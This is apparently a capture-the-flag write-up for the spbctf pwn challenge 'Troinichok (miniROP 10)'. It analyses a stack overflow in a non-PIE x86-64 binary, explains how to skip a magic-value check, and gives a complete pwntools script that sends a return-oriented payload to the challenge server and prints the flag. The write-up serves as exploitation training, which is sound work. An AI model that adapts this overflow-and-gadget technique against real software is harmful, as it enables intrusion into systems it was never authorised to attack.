Troinichok (miniROP 10)
Troinichok (miniROP 10)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: check_bypass_jump_past_cmp, frame_pointer_control, mid_instruction_gadget, pop_rbp_gadget, ret2win, stack_buffer_overflow
Summary
Task: non-PIE x86-64 ELF with an fgets stack overflow (0x100 into a 0x70 buffer) and a leet==0x539 magic-value gate guarding an open("flag")/read/write win. Solution: bypass the gate entirely by ret2win'ing past the cmp into the win body at 0x4011b5, first using a pop rbp; ret gadget to set a writable .bss frame pointer so the [rbp-0x110] read/write buffer is valid.
Troinichok (miniROP 10) — pwn_spbctf
Description
Почти победа. Опять тренимся перетирать адрес возврата!
English: "Almost a win. Again we practise overwriting the return address!"
Remote pwn served at nc 109.233.56.90 11623 (pwn.spbctf.ru). A 64-bit
x86-64 ELF troinichok is given: NON-PIE (base 0x400000), NX enabled, no
stack canary, Partial RELRO. The goal is to print the relative flag file
present in the remote CWD.
Analysis
Relevant functions:
inc_leet@0x401182—leet += edi(32-bit add to a globalleet@0x404060).almost_win@0x40119d—if (leet == 0x539) { open("flag",0); read(fd, buf@rbp-0x110, 0x100); write(1, buf, n); close(fd); }. The filename string"flag"@0x402004is a relative path.vuln@0x401211— sets[rbp-4] = 0x2a, thenfgets(buf@rbp-0x70, 0x100, stdin), then callsinc_leet([rbp-4]).main@0x401245.
The bug: fgets reads 0x100 bytes into a buffer at rbp-0x70 — a classic
stack overflow. Offset from buf to the saved return address is 0x78
(buf @ rbp-0x70, saved RIP @ rbp+8 → 0x70 + 8). RIP control was verified
by returning to 0x4011b5 with a 0x78-byte pad, which changed the crash to
"Bus error" (a deref fault inside the win body) instead of a plain
"Segmentation fault" — proving exact control of the return address.
The subtle gotcha (teaching point)
The "intended" idea is to make leet == 0x539 and reach almost_win. But the
counter variable [rbp-4] that vuln feeds into inc_leet lies at buffer
offset 0x6c — inside the 0x100 overflow region. So fgets clobbers
[rbp-4] with attacker bytes, and vuln's own inc_leet([rbp-4]) call uses
your bytes rather than the preset 0x2a. If you naively fill with 'A',
then inc_leet(0x41414141) makes leet = 0x41414141, never 0x539.
Two ways to win:
- (a) Satisfy the gate. Place
p32(0x539)at buffer offset0x6csovuln'sinc_leetsetsleet = 0x539, then return intoalmost_win. - (b) Bypass the gate (used here). Jump directly past the
cmp leet,0x539 / jneinto the win body at0x4011b5. This is cleaner and more robust.
The catch for (b): the win body does lea rcx,[rbp-0x110] (read buffer) and
lea rax,[rbp-0x110] (write buffer). With a garbage rbp the read faults
(Bus error). So we must supply a valid, writable frame pointer before
jumping into the body.
Gadgets (NON-PIE, fixed addresses)
pop rbp; ret@0x401169ret@0x401016pop rdi; ret@0x40132b(carved mid-instruction from a csupop r15; retbyte sequence — not needed for the final solve but available)
Solution
ret2win past the gate, with frame-pointer control:
- Pad
0x78bytes to reach the saved RIP. pop rbp; ret(0x401169) → setrbpto a writable.bssaddress (0x404080 + 0x800) so[rbp-0x110]is a valid read/write buffer.- Return into the win body at
0x4011b5(after thecmp/jne), whichopen("flag")/read/write(1, ...)dumps the flag to stdout.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64'; context.log_level = 'info' HOST, PORT = '109.233.56.90', 11623 # vuln: fgets(buf[rbp-0x70], 0x100) overflow. offset to ret = 0x78. # almost_win @0x40119d: if leet==0x539 -> open("flag")/read/write to stdout. # Bypass the leet check: jump to the open body (0x4011b5) with a valid rbp # (so lea rcx,[rbp-0x110] / read buffer is writable). Set rbp via pop rbp gadget. POP_RBP = 0x401169 BODY = 0x4011b5 rbp_val = 0x404080 + 0x800 # writable .bss payload = b'A' * 0x78 + flat(POP_RBP, rbp_val, BODY) io = remote(HOST, PORT) io.send(payload + b'\n') import time; time.sleep(1.0) data = io.recvrepeat(2) print(data.decode(errors='replace'))
Output: spbctf{...}\nSegmentation fault\n — the flag is printed before the
inevitable post-write crash.